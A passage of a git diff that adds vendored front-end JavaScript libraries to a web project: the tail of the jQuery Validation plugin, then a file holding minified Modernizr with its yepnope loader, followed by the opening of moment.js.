this; + this.startRequest( element ); + data = {}; + data[ element.name ] = value; + $.ajax( $.extend( true, { + mode: "abort", + port: "validate" + element.name, + dataType: "json", + data: data, + context: validator.currentForm, + success: function( response ) { + var valid = response === true || response === "true", + errors, message, submitted; + + validator.settings.messages[ element.name ][ method ] = previous.originalMessage; + if ( valid ) { + submitted = validator.formSubmitted; + validator.resetInternals(); + validator.toHide = validator.errorsFor( element ); + validator.formSubmitted = submitted; + validator.successList.push( element ); + validator.invalid[ element.name ] = false; + validator.showErrors(); + } else { + errors = {}; + message = response || validator.defaultMessage( element, { method: method, parameters: value } ); + errors[ element.name ] = previous.message = message; + validator.invalid[ element.name ] = true; + validator.showErrors( errors ); + } + previous.valid = valid; + validator.stopRequest( element, valid ); + } + }, param ) ); + return "pending"; + } + } + +} ); + +// Ajax mode: abort +// usage: $.ajax({ mode: "abort"[, port: "uniqueport"]}); +// if mode:"abort" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort() + +var pendingRequests = {}, + ajax; + +// Use a prefilter if available (1.5+) +if ( $.ajaxPrefilter ) { + $.ajaxPrefilter( function( settings, _, xhr ) { + var port = settings.port; + if ( settings.mode === "abort" ) { + if ( pendingRequests[ port ] ) { + pendingRequests[ port ].abort(); + } + pendingRequests[ port ] = xhr; + } + } ); +} else { + + // Proxy ajax + ajax = $.ajax; + $.ajax = function( settings ) { + var mode = ( "mode" in settings ? settings : $.ajaxSettings ).mode, + port = ( "port" in settings ? settings : $.ajaxSettings ).port; + if ( mode === "abort" ) { + if ( pendingRequests[ port ] ) { + pendingRequests[ port ].abort(); + } + pendingRequests[ port ] = ajax.apply( this, arguments ); + return pendingRequests[ port ]; + } + return ajax.apply( this, arguments ); + }; +} +return $; +})); \ No newline at end of file diff --git a/public/js/modernizer.js b/public/js/modernizer.js new file mode 100644 index 0000000..ee03deb --- /dev/null +++ b/public/js/modernizer.js @@ -0,0 +1,4552 @@ + +/*! + * Modernizr v2.7.2 + * www.modernizr.com + * + * Copyright (c) Faruk Ates, Paul Irish, Alex Sexton + * Available under the BSD and MIT licenses: www.modernizr.com/license/ + */ +;window.Modernizr=function(a,b,c){function u(a){j.cssText=a}function v(a,b){return u(prefixes.join(a+";")+(b||""))}function w(a,b){return typeof a===b}function x(a,b){return!!~(""+a).indexOf(b)}function y(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:w(f,"function")?f.bind(d||b):f}return!1}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k,l={}.toString,m={},n={},o={},p=[],q=p.slice,r,s={}.hasOwnProperty,t;!w(s,"undefined")&&!w(s.call,"undefined")?t=function(a,b){return s.call(a,b)}:t=function(a,b){return b in a&&w(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=q.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(q.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(q.call(arguments)))};return e});for(var z in m)t(m,z)&&(r=z.toLowerCase(),e[r]=m[z](),p.push((e[r]?"":"no-")+r));return e.addTest=function(a,b){if(typeof a=="object")for(var d in a)t(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},u(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+p.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))}; + +//! moment.js +//! version : 2.20.1 +//! authors : Tim Wood, Iskren Chernev, Moment.js contributors +//! license : MIT +//! momentjs.com + +;(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : + typeof define === 'function' && define.amd ? define(factory) : + global.moment = factory() +}(this, (function () { 'use strict'; + +var hookCallback; + +function hooks () { + return hookCallback.apply(null, arguments); +} + +// This is done to register the method called with moment() +// without creating circular dependencies. +function setHookCallback (callback) { + hookCallback = callback; +} + +function isArray(input) { + return input instanceof Array || Object.prototype.toString.call(input) === '[object Array]'; +} + +function isObject(input) { + // IE8 will treat undefined and null as object if it wasn't for + // input != null + return input != null && Object.prototype.toString.call(input) === '[object Object]'; +} + +function isObjectEmpty(obj) { + if (Object.getOwnPropertyNames) { + return (Object.getOwnPropertyNames(obj).length === 0); + } else { + var k; + for (k in obj) { + if (obj.hasOwnProperty(k)) { + return false; + } + } + return true; + } +} + +function isUndefined(input) { + return input === void 0; +} + +function isNumber(input) { + return typeof input === 'number' || Object.prototype.toString.call(input) === '[object Number]'; +} + +function isDate(input) { + return input instanceof Date || Object.prototype.toString.call(input) === '[object Date]'; +} + +function map(arr, fn) { + var res = [], i; + for (i = 0; i < arr.length; ++i) { + res.push(fn(arr[i], i)); + } + return res; +} + +function hasOwnProp(a, b) { + return Object.prototype.hasOwnProperty.call(a, b); +} + +function extend(a, b) { + for (var i in b) { + if (hasOwnProp(b, i)) { + a[i] = b[i]; + } + } + + if (hasOwnProp(b, 'toString')) { + a.toString = b.toString; + } + + if (hasOwnProp(b, 'valueOf')) { + a.valueOf = b.valueOf; + } + + return a; +} + +function createUTC (input, format, locale, strict) { + return createLocalOrUTC(input, format, locale, strict, true).utc(); +} + +function defaultParsingFlags() { + // We need to deep clone this object. + return { + empty : false, + unusedTokens : [], + unusedInput : [], + overflow : -2, + charsLeftOver : 0, + nullInput : false, + invalidMonth : null, + invalidFormat : false, + userInvalidated : false, + iso : false, + parsedDateParts : [], + meridiem : null, + rfc2822 : false, + weekdayMismatch : false + }; +} + +function getParsingFlags(m) { + if (m._pf == null) { + m._pf = defaultParsingFlags(); + } + return m._pf; +} + +var some; +if (Array.prototype.some) { + some = Array.prototype.some; +} else { + some = function (fun) { + var t = Object(this); + var len = t.length >>> 0; + + for (var i = 0; i < len; i++) { + if (i in t && fun.call(this, t[i], i, t)) { + return true; + } + } + + return false; + }; +} + +function isValid(m) { + if (m._isValid == null) { + var flags = getParsingFlags(m); + var parsedParts = some.call(flags.parsedDateParts, function (i) { + return i != null; + }); + var isNowValid = !isNaN(m._d.getTime()) && + flags.overflow < 0 && + !flags.empty && + !flags.invalidMonth && + !flags.invalidWeekday && + !flags.weekdayMismatch && + !flags.nullInput && + !flags.invalidFormat && + !flags.userInvalidated && + (!flags.meridiem || (flags.meridiem && parsedParts)); + + if (m._strict) { + isNowValid = isNowValid && + flags.charsLeftOver === 0 && + flags.unusedTokens.length === 0 && + flags.bigHour === undefined; + } + + if (Object.isFrozen == null || !Object.isFrozen(m)) { + m._isValid = isNowValid; + } + else { + return isNowValid; + } + } + return m._isValid; +} + +function createInvalid (flags) { + var m = createUTC(NaN); + if (flags != null) { + extend(getParsingFlags(m), flags); + } + else { + getParsingFlags(m).userInvalidated = true; + } + + return m; +} + +// Plugins that add properties should also add the key here (null value), +// so we can properly clone ourselves. +var momentProperties = hooks.momentProperties = []; + +function copyConfig(to, from) { + var i, prop, val; + + if (!isUndefined(from._isAMomentObject)) { + to._isAMomentObject = from._isAMomentObject; + } + if (!isUndefined(from._i)) { + to._i = from._i; + } + if (!isUndefined(from._f)) { + to._f = from._f; + } + if (!isUndefined(from._l)) { + to._l = from._l; + } + if (!isUndefined(from._strict)) { + to._strict = from._strict; + } + if (!isUndefined(from._tzm)) { + to._tzm = from._tzm; + } + if (!isUndefined(from._isUTC)) { + to._isUTC = from._isUTC; + } + if (!isUndefined(from._offset)) { + to._offset = from._offset; + } + if (!isUndefined(from._pf)) { + to._pf = getParsingFlags(from); + } + if (!isUndefined(from._locale)) { + to._locale = from._locale; + } + + if (momentProperties.length > 0) { + for (i = 0; i < momentProperties.length; i++) { + prop = momentProperties[i]; + val = from[prop]; + if (!isUndefined(val)) { + to[prop] = val; + } + } + } + + return to; +} + +var updateInProgress = false; + +// Moment prototype object +function Moment(config) { + copyConfig(this, config); + this._d = new Date(config._d != null ? config._d.getTime() : NaN); + if (!this.isValid()) { + this._d = new Date(NaN); + } + // Prevent infinite loop in case updateOffset creates new moment + // objects. + if (updateInProgress === false) { + updateInProgress = true; + hooks.updateOffset(this); + updateInProgress = false; + } +} + +function isMoment (obj) { + return obj instanceof Moment || (obj != null && obj._isAMomentObject != null); +} + +function absFloor (number) { + if (number < 0) { + // -0 -> 0 + return Math.ceil(number) || 0; + } else { + return Math.floor(number); + } +} + +function toInt(argumentForCoercion) { + var coercedNumber = +argumentForCoercion, + value = 0; + + if (coercedNumber !== 0 && isFinite(coercedNumber)) { + value = absFloor(coercedNumber); + } + + return value; +} + +// compare two arrays, return the number of differences +function compareArrays(array1, array2, dontConvert) { + var len = Math.min(array1.length, array2.length), + lengthDiff = Math.abs(array1.length - array2.length), + diffs = 0, + i; + for (i = 0; i < len; i++) { + if ((dontConvert && array1[i] !== array2[i]) || + (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))) { + diffs++; + } + } + return diffs + lengthDiff; +} + +function warn(msg) { + if (hooks.suppressDeprecationWarnings === false && + (typeof console !== 'undefined') && console.warn) { + console.warn('Deprecation warning: ' + msg); + } +} + +function deprecate(msg, fn) { + var firstTime = true; + + return extend(function () { + if (hooks.deprecationHandler != null) { + hooks.deprecationHandler(null, msg); + } + if (firstTime) { + var args = []; + var arg; + for (var i = 0; i < arguments.length; i++) { + arg = ''; + if (typeof arguments[i] === 'object') { + arg += '\n[' + i + '] '; + for (var key in arguments[0]) { + arg += key + ': ' + arguments[0][key] + ', '; + } + arg = arg.slice(0, -2); // Remove trailing comma and space + } else { + arg = arguments[i]; + } + args.push(arg); + } + warn(msg + '\nArguments: ' + Array.prototype.slice.call(args).join('') + '\n' + (new Error()).stack); + firstTime = false; + } + return fn.apply(this, arguments); + }, fn); +} + +var deprecations = {}; + +function deprecateSimple(name, msg) { + if (hooks.deprecationHandler != null) { + hooks.deprecationHandler(name, msg); + } + if (!deprecations[name]) { + warn(msg); + deprecations[name] = true; + } +} + +hooks.suppressDeprecationWarnings = false; +hooks.deprecationHandler = null; + +function isFunction(input) { + return input instanceof Function || Object.prototype.toString.call(input) === '[object Function]'; +} + +function set (config) { + var prop, i; + for (i in config) { + prop = config[i]; + if (isFunction(prop)) { + this[i] = prop; + } else { + this['_' + i] = prop; + } + } + this._config = config; + // Lenient ordinal parsing accepts just a number in addition to + // number + (possibly) stuff coming from _dayOfMonthOrdinalParse. + // TODO: Remove "ordinalParse" fallback in next major release. + this._dayOfMonthOrdinalParseLenient = new RegExp( + (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) + + '|' + (/\d{1,2}/).source); +} + +function mergeConfigs(parentConfig, childConfig) { + var res = extend({}, parentConfig), prop; + for (prop in childConfig) { + if (hasOwnProp(childConfig, prop)) { + if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) { + res[prop] = {}; + extend(res[prop], parentConfig[prop]); + extend(res[prop], childConfig[prop]); + } else if (childConfig[prop] != null) { + res[prop] = childConfig[prop]; + } else { + delete res[prop]; + } + } + } + for (prop in parentConfig) { + if (hasOwnProp(parentConfig, prop) && + !hasOwnProp(childConfig, prop) && + isObject(parentConfig[prop])) { + // make sure changes to properties don't modify parent config + res[prop] = extend({}, res[prop]); + } + } + return res; +} + +function Locale(config) { + if (config != null) { + this.set(config); + } +} + +var keys; + +if (Object.keys) { + keys = Object.keys; +} else { + keys = function (obj) { + var i, res = []; + for (i in obj) { + if (hasOwnProp(obj, i)) { + res.push(i); + } + } + return res; + }; +} + +var defaultCalendar = { + sameDay : '[Today at] LT', + nextDay : '[Tomorrow at] LT', + nextWeek : 'dddd [at] LT', + lastDay : '[Yesterday at] LT', + lastWeek : '[Last] dddd [at] LT', + sameElse : 'L' +}; + +function calendar (key, mom, now) { + var output = this._calendar[key] || this._calendar['sameElse']; + return isFunction(output) ? output.call(mom, now) : output; +} + +var defaultLongDateFormat = { + LTS : 'h:mm:ss A', + LT : 'h:mm A', + L : 'MM/DD/YYYY', + LL : 'MMMM D, YYYY', + LLL : 'MMMM D, YYYY h:mm A', + LLLL : 'dddd, MMMM D, YYYY h:mm A' +}; + +function longDateFormat (key) { + var format = this._longDateFormat[key], + formatUpper = this._longDateFormat[key.toUpperCase()]; + + if (format || !formatUpper) { + return format; + } + + this._longDateFormat[key] = formatUpper.replace(/MMMM|MM|DD|dddd/g, function (val) { + return val.slice(1); + }); + + return this._longDateFormat[key]; +} + +var defaultInvalidDate = 'Invalid date'; + +function invalidDate () { + return this._invalidDate; +} + +var defaultOrdinal = '%d'; +var defaultDayOfMonthOrdinalParse = /\d{1,2}/; + +function ordinal (number) { + return this._ordinal.replace('%d', number); +} + +var defaultRelativeTime = { + future : 'in %s', + past : '%s ago', + s : 'a few seconds', + ss : '%d seconds', + m : 'a minute', + mm : '%d minutes', + h : 'an hour', + hh : '%d hours', + d : 'a day', + dd : '%d days', + M : 'a month', + MM : '%d months', + y : 'a year', + yy : '%d years' +}; + +function relativeTime (number, withoutSuffix, string, isFuture) { + var output = this._relativeTime[string]; + return (isFunction(output)) ? + output(number, withoutSuffix, string, isFuture) : + output.replace(/%d/i, number); +} + +function pastFuture (diff, output) { + var format = this._relativeTime[diff > 0 ? 'future' : 'past']; + return isFunction(format) ? format(output) : format.replace(/%s/i, output); +} + +var aliases = {}; + +function addUnitAlias (unit, shorthand) { + var lowerCase = unit.toLowerCase(); + aliases[lowerCase] = aliases[lowerCase + 's'] = aliases[shorthand] = unit; +} + +function normalizeUnits(units) { + return typeof units === 'string' ? aliases[units] || aliases[units.toLowerCase()] : undefined; +} + +function normalizeObjectUnits(inputObject) { + var normalizedInput = {}, + normalizedProp, + prop; + + for (prop in inputObject) { + if (hasOwnProp(inputObject, prop)) { + normalizedProp = normalizeUnits(prop); + if (normalizedProp) { + normalizedInput[normalizedProp] = inputObject[prop]; + } + } + } + + return normalizedInput; +} + +var priorities = {}; + +function addUnitPriority(unit, priority) { + priorities[unit] = priority; +} + +function getPrioritizedUnits(unitsObj) { + var units = []; + for (var u in unitsObj) { + units.push({unit: u, priority: priorities[u]}); + } + units.sort(function (a, b) { + return a.priority - b.priority; + }); + return units; +} + +function zeroFill(number, targetLength, forceSign) { + var absNumber = '' + Math.abs(number), + zerosToFill = targetLength - absNumber.length, + sign = number >= 0; + return (sign ? (forceSign ? '+' : '') : '-') + + Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) + absNumber; +} + +var formattingTokens = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g; + +var localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g; + +var formatFunctions = {}; + +var formatTokenFunctions = {}; + +// token: 'M' +// padded: ['MM', 2] +// ordinal: 'Mo' +// callback: function () { this.month() + 1 } +function addFormatToken (token, padded, ordinal, callback) { + var func = callback; + if (typeof callback === 'string') { + func = function () { + return this[callback](); + }; + } + if (token) { + formatTokenFunctions[token] = func; + } + if (padded) { + formatTokenFunctions[padded[0]] = function () { + return zeroFill(func.apply(this, arguments), padded[1], padded[2]); + }; + } + if (ordinal) { + formatTokenFunctions[ordinal] = function () { + return this.localeData().ordinal(func.apply(this, arguments), token); + }; + } +} + +function removeFormattingTokens(input) { + if (input.match(/\[[\s\S]/)) { + return input.replace(/^\[|\]$/g, ''); + } + return input.replace(/\\/g, ''); +} + +function makeFormatFunction(format) { + var array = format.match(formattingTokens), i, length; + + for (i = 0, length = array.length; i < length; i++) { + if (formatTokenFunctions[array[i]]) { + array[i] = formatTokenFunctions[array[i]]; + } else { + array[i] = removeFormattingTokens(array[i]); + } + } + + return function (mom) { + var output = '', i; + for (i = 0; i < length; i++) { + output += isFunction(array[i]) ? array[i].call(mom, format) : array[i]; + } + return output; + }; +} + +// format date using native date object +function formatMoment(m, format) { + if (!m.isValid()) { + return m.localeData().invalidDate(); + } + + format = expandFormat(format, m.localeData()); + formatFunctions[format] = formatFunctions[format] || makeFormatFunction(format); + + return formatFunctions[format](m); +} + +function expandFormat(format, locale) { + var i = 5; + + function replaceLongDateFormatTokens(input) { + return locale.longDateFormat(input) || input; + } + + localFormattingTokens.lastIndex = 0; + while (i >= 0 && localFormattingTokens.test(format)) { + format = format.replace(localFormattingTokens, replaceLongDateFormatTokens); + localFormattingTokens.lastIndex = 0; + i -= 1; + } + + return format; +} + +var match1 = /\d/; // 0 - 9 +var match2 = /\d\d/; // 00 - 99 +var match3 = /\d{3}/; // 000 - 999 +var match4 = /\d{4}/; // 0000 - 9999 +var match6 = /[+-]?\d{6}/; // -999999 - 999999 +var match1to2 = /\d\d?/; // 0 - 99 +var match3to4 = /\d\d\d\d?/; // 999 - 9999 +var match5to6 = /\d\d\d\d\d\d?/; // 99999 - 999999 +var match1to3 = /\d{1,3}/; // 0 - 999 +var match1to4 = /\d{1,4}/; // 0 - 9999 +var match1to6 = /[+-]?\d{1,6}/; // -999999 - 999999 + +var matchUnsigned = /\d+/; // 0 - inf +var matchSigned = /[+-]?\d+/; // -inf - inf + +var matchOffset = /Z|[+-]\d\d:?\d\d/gi; // +00:00 -00:00 +0000 -0000 or Z +var matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi; // +00 -00 +00:00 -00:00 +0000 -0000 or Z + +var matchTimestamp = /[+-]?\d+(\.\d{1,3})?/; // 123456789 123456789.123 + +// any word (or two) characters or numbers including two/three word month in arabic. +// includes scottish gaelic two word and hyphenated months +var matchWord = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i; + + +var regexes = {}; + +function addRegexToken (token, regex, strictRegex) { + regexes[token] = isFunction(regex) ? regex : function (isStrict, localeData) { + return (isStrict && strictRegex) ? strictRegex : regex; + }; +} + +function getParseRegexForToken (token, config) { + if (!hasOwnProp(regexes, token)) { + return new RegExp(unescapeFormat(token)); + } + + return regexes[token](config._strict, config._locale); +} + +// Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript +function unescapeFormat(s) { + return regexEscape(s.replace('\\', '').replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (matched, p1, p2, p3, p4) { + return p1 || p2 || p3 || p4; + })); +} + +function regexEscape(s) { + return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'); +} + +var tokens = {}; + +function addParseToken (token, callback) { + var i, func = callback; + if (typeof token === 'string') { + token = [token]; + } + if (isNumber(callback)) { + func = function (input, array) { + array[callback] = toInt(input); + }; + } + for (i = 0; i < token.length; i++) { + tokens[token[i]] = func; + } +} + +function addWeekParseToken (token, callback) { + addParseToken(token, function (input, array, config, token) { + config._w = config._w || {}; + callback(input, config._w, config, token); + }); +} + +function addTimeToArrayFromToken(token, input, config) { + if (input != null && hasOwnProp(tokens, token)) { + tokens[token](input, config._a, config, token); + } +} + +var YEAR = 0; +var MONTH = 1; +var DATE = 2; +var HOUR = 3; +var MINUTE = 4; +var SECOND = 5; +var MILLISECOND = 6; +var WEEK = 7; +var WEEKDAY = 8; + +// FORMATTING + +addFormatToken('Y', 0, 0, function () { + var y = this.year(); + return y <= 9999 ? '' + y : '+' + y; +}); + +addFormatToken(0, ['YY', 2], 0, function () { + return this.year() % 100; +}); + +addFormatToken(0, ['YYYY', 4], 0, 'year'); +addFormatToken(0, ['YYYYY', 5], 0, 'year'); +addFormatToken(0, ['YYYYYY', 6, true], 0, 'year'); + +// ALIASES + +addUnitAlias('year', 'y'); + +// PRIORITIES + +addUnitPriority('year', 1); + +// PARSING + +addRegexToken('Y', matchSigned); +addRegexToken('YY', match1to2, match2); +addRegexToken('YYYY', match1to4, match4); +addRegexToken('YYYYY', match1to6, match6); +addRegexToken('YYYYYY', match1to6, match6); + +addParseToken(['YYYYY', 'YYYYYY'], YEAR); +addParseToken('YYYY', function (input, array) { + array[YEAR] = input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input); +}); +addParseToken('YY', function (input, array) { + array[YEAR] = hooks.parseTwoDigitYear(input); +}); +addParseToken('Y', function (input, array) { + array[YEAR] = parseInt(input, 10); +}); + +// HELPERS + +function daysInYear(year) { + return isLeapYear(year) ? 366 : 365; +} + +function isLeapYear(year) { + return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0; +} + +// HOOKS + +hooks.parseTwoDigitYear = function (input) { + return toInt(input) + (toInt(input) > 68 ? 1900 : 2000); +}; + +// MOMENTS + +var getSetYear = makeGetSet('FullYear', true); + +function getIsLeapYear () { + return isLeapYear(this.year()); +} + +function makeGetSet (unit, keepTime) { + return function (value) { + if (value != null) { + set$1(this, unit, value); + hooks.updateOffset(this, keepTime); + return this; + } else { + return get(this, unit); + } + }; +} + +function get (mom, unit) { + return mom.isValid() ? + mom._d['get' + (mom._isUTC ? 'UTC' : '') + unit]() : NaN; +} + +function set$1 (mom, unit, value) { + if (mom.isValid() && !isNaN(value)) { + if (unit === 'FullYear' && isLeapYear(mom.year()) && mom.month() === 1 && mom.date() === 29) { + mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value, mom.month(), daysInMonth(value, mom.month())); + } + else { + mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value); + } + } +} + +// MOMENTS + +function stringGet (units) { + units = normalizeUnits(units); + if (isFunction(this[units])) { + return this[units](); + } + return this; +} + + +function stringSet (units, value) { + if (typeof units === 'object') { + units = normalizeObjectUnits(units); + var prioritized = getPrioritizedUnits(units); + for (var i = 0; i < prioritized.length; i++) { + this[prioritized[i].unit](units[prioritized[i].unit]); + } + } else { + units = normalizeUnits(units); + if (isFunction(this[units])) { + return this[units](value); + } + } + return this; +} + +function mod(n, x) { + return ((n % x) + x) % x; +} + +var indexOf; + +if (Array.prototype.indexOf) { + indexOf = Array.prototype.indexOf; +} else { + indexOf = function (o) { + // I know + var i; + for (i = 0; i < this.length; ++i) { + if (this[i] === o) { + return i; + } + } + return -1; + }; +} + +function daysInMonth(year, month) { + if (isNaN(year) || isNaN(month)) { + return NaN; + } + var modMonth = mod(month, 12); + year += (month - modMonth) / 12; + return modMonth === 1 ? (isLeapYear(year) ? 29 : 28) : (31 - modMonth % 7 % 2); +} + +// FORMATTING + +addFormatToken('M', ['MM', 2], 'Mo', function () { + return this.month() + 1; +}); + +addFormatToken('MMM', 0, 0, function (format) { + return this.localeData().monthsShort(this, format); +}); + 